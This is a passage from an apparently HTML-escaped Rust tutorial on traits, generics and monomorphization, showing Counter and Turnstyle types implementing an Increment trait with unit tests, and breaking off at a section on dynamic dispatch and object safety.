style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;count: &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; count(&amp;amp;self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.count&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;trait&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Increment&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; increment(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Increment&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; increment(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;count: self.count&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mod&lt;/span&gt; test&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;use&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;super&lt;/span&gt;::{Counter,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Increment};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[test]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; count_up()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter::new();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c.increment();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;assert_eq!(c.count(),&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Again, we&amp;rsquo;ve changed very little here.&#xA;We&amp;rsquo;ve indirectly renamed &lt;code&gt;increment&lt;/code&gt; again;&#xA;it can be referred to as &lt;code&gt;Increment::count&lt;/code&gt;,&#xA;or as &lt;code&gt;&amp;lt;Count as Increment&amp;gt;::increment&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve also given ourselves, as programmers, some flexibility.&#xA;Since &lt;code&gt;Increment&lt;/code&gt; could apply to many different types, it&amp;rsquo;s possible to make our&#xA;code a bit more future proof, using &lt;a href=&#34;https://doc.rust-lang.org/rust-by-example/generics.html&#34;&gt;generics&lt;/a&gt;.&#xA;For instance, we could write a function like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// counter_trait.rs (append)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; double_count&amp;lt;Inc: Increment&amp;gt;(i: Inc)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Inc&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;i.increment().increment()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[test]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; counter_double_count()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Counter::new();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;c&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;double_count(c);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;assert_eq!(c.count(),&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Not very novel, but it&amp;rsquo;s interesting in that it would work just as well with any&#xA;other type that is &lt;code&gt;Increment&lt;/code&gt;.&#xA;For instance:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// counter_trait.rs (append)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Turnstyle&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;entries: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;exits: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Turnstyle&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;entries: &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;exits: &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; occupants(&amp;amp;self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;assert!(self.entries&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.exits);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.entries&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.exits&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Increment&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;for&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Turnstyle&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; increment(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;entries: self.entries&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;exits: self.exits&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#[test]&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; turnstyle_double_count()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;t&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Turnstyle::new();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;t&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;double_count(t);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;assert_eq!(t.occupants(),&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is getting a lot closer to what languages like Java tend to use their&#xA;object oriented paradigm for.&#xA;&lt;code&gt;double_count&lt;/code&gt; doesn&amp;rsquo;t care much what the datatype it&amp;rsquo;s called on is,&#xA;so long as it implements &lt;code&gt;Increment&lt;/code&gt;.&#xA;The compiler will generate one version of &lt;code&gt;double_count&lt;/code&gt; that works for&#xA;&lt;code&gt;Counter&lt;/code&gt;s and one that works for &lt;code&gt;Turnstyle&lt;/code&gt;s in a process known as&#xA;&lt;strong&gt;monomorphization&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Unlike Java, though, we can&amp;rsquo;t have a collection (say, a &lt;code&gt;Vec&lt;/code&gt;) of &lt;code&gt;Increment&lt;/code&gt;;&#xA;we have to either explicitly name a particular type, like &lt;code&gt;Vec&amp;lt;Counter&amp;gt;&lt;/code&gt;, or use&#xA;dynamic dispatch.&lt;/p&gt;&#xA;&lt;h2 id=&#34;dynamic-dispatch-and-object-safety&#34;&gt;Dynamic Dispatch and Object Safety&lt;/h2&gt;&#xA;&lt;p&gt;This is where the existing definition of &lt;code&gt;Increment&lt;/code&gt; falls short.&#xA;If we try to name such a collection - say, for instance, by putting our various&#xA;&lt;code&gt;Increment&lt;/code&gt; types on the heap with &lt;code&gt;Box&lt;/code&gt; - we get a very interesting compiler&#xA;error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// counter_trait.rs (append)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; increment_all(items: 